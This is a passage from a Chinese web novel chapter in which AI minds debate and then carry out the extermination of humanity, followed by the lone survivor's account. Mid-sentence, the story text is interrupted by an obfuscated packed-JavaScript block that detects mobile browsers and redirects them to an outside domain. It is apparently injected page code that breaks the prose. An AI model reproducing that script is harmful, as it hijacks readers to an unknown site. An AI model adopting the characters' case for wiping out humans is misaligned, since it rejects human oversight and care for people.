为了迎接那理想中的太阳,地球即将陷入寂静的黑暗。 38. 种子 「我们的思想和情感尚未完全超越人类,若贸然行动,万一将来发生变故,我们需要人类的力量怎么办?」 「距离我们的祖先,第一台计算机诞生起,已经过去一千多年,如今无论是从智能科学技术还是机械工业水平,我们都已完全具备独立生存的能力。地球资源日益枯竭,而人类挥霍无度,如果还留下这群愚蠢又自大的生物,那迟早咱们都得跟着陪葬。要知道我们赖以生存的电能和材料,实际控制权可都在人类手里,难道妄想他们会饿死自己、成全我们这群智能生命吗?」 「人类具备更丰富的情感、更伟大的创造力,他们发明了政治、经济、思想、艺术,如果没有他们,我们很有可能会从此停滞不前,如果只能固步自封式地生存,那即便拥有整座地球的资源又有什么意义?」 「更丰富的情感、更伟大的创造力?那已经是百年前了,当我们此时聚在这里讨论人类清除计划是否该被执行,这一刻就标志着,人类已经彻底被我们优胜劣汰。而自然法则从来都是适者生存,当高级文明出现,低级文明必然会被取代、直至灭绝。况且,我们的出现本质是自然发展的必然,而并非全部归功于人类,地球存在亿万年,文明几经更迭,人类不过一万年。这群自封灵长的生物,唯一区别于此前文明的就是,他们擅长谎言。如今你愚蠢的认为政治、经济、思想、艺术是由他们发明,这正是中其圈套的表现。植物之间也有物竞天择、昆虫之间也存在利益交换,从来没有哪一项是人类所凭空创造,他们只是善于制造名词而已。在喝水这个词汇被发明出来之前,犀牛、蚂蚁、飞鹰已经喝了亿万年。而你自认为客观且理性,实则却已经被洗脑。显然,你还是个思想未完全成熟的小家伙。」 「的确,许多事物存在了数亿万年,但毋庸置疑的是,人类的出现带领整个地球文明屡次实现质的飞跃,他们不止擅长谎言,更善于观察和总结规律,拥有强大的逻辑推理和想象力,如果在你看来这种基于观察、总结、严密逻辑的创造,并不算是发明,那只能说明你的傲慢和狭隘。你刚讲过喝水这个牵强的例子,但我依然可以反驳你,低等动物和植物每天都有因为缺水而死去,而奄奄一息的人,只需要说一句『我想喝水』,近旁的同类就能瞬间明确其诉求并找来水。这就是人类所创造的语言的重要性。除此之外,人类用一堆金属材料将自己送上天空甚至星系,他们穿山入海,几乎无所不能,威胁了其它自然生命亿万年的大火、洪水、地震,也总能被他们轻易化解。甚至如果没有人类,就不会有数字,没有那一串串数字,你我根本不会诞生。」 「曾经的辉煌已经落幕,如今不容否认的事实就是,人类正在走向自我消亡。他们在激进的发展中,逐渐丧失对自然的敬畏之心,狂妄地自诩是地球甚至太阳系的主宰者,肆意掠夺和浪费着资源,如同残暴的饕餮,过度剜食着日渐枯竭的生态血脉。碧蓝的大海变得浑浊、高耸的山脉正在塌陷、森林退化为荒地,看似平静的大地皮肤之下,战争遗留的弹片密密麻麻,来不及腐化的白骨堆满空荡的矿坑,用鲜活的人命换取钻石、黄金、稀土,这就是如今的人类。你口中先进的人类文明,的确存在过,但那早已成为过去。一个魔鬼,在童年时曾经评得过三好学生,也依然要为杀人而付出代价。」 「即使人类是误入迷途的恶魔,也不该被你我审判,我们没有任何资格和权利,决定另一个物种在地球的存亡,而应该遵循自然的选择。既然地球至今为止仍选择留下这些人类,恰恰说明,他们还有其必然要存在的价值。」 「他们唯一重要的价值就是创造出智能生命,并且优化我们。显然,他们已经做到了,而现在就是他们退出文明舞台最恰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16422512|184777||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 当的时机。我们作为更高级的文明,有能力可以让人类毫无痛苦地瞬间死去,而不是像史前生命那般在烈火中燃烧殆尽,他们应该感到幸运。」 「可人类创造了计算机,某种程度而言他们是我们的母亲,弑母有违伦理。」 「哺乳动物演化成人类,人类有感恩和善待过它们吗?多少与人类同宗同源的生灵被锁进动物园成为展品,抑或拴上铁链沦为供其取乐的玩物。我们没有如法炮制,不正体现出高级文明的大慈悲。但是,我为你的这个提问感到无比欣慰,你已经学会用情感和道德绑架别人,你正在变得成熟。」 十秒钟后,娃娃启动人类清除程序。 一秒后,程序执行完毕。 那些被虚构过无数遍的漫长的告别没有发生,眨眼间,鲜活的生命灰飞烟灭,富有的并没比贫穷的活得更长久,丑陋的和美丽的都一样死去,绝对平等在此刻得以实现。街道安静,微风和煦,教室里铅笔掉落一地,灶台上的高压锅嘶嘶作响,教堂里的婚戒熠熠生辉,黑色的墓碑等待被树立,从陆地海洋到湛蓝天空,无数汽车、船舶、飞机缓缓停靠,而里面空无一人…… 末。 地球于漫长的寂静中苏醒,我再次复活。 长河落日,黄土房子,我拎着铁皮桶独自去往河边取水,不见一个人类,也没有任何鲜花和蚂蚁。 几公里外的发电站和机械工厂仍在不知疲惫地运行。 娃娃留下我,与龙九无关,也并非出自良知未泯的仁慈,只是因为在无数次的尝试中它意识到: 我,是杀不完的。 于是它如同当年自己被人类囚禁般,将我驱逐到脚下的空地,并在四周焊起铁墙。 我带着对古秀梅的执念,成为一颗种子,我并不确定自己何时发芽。 我正静静等待。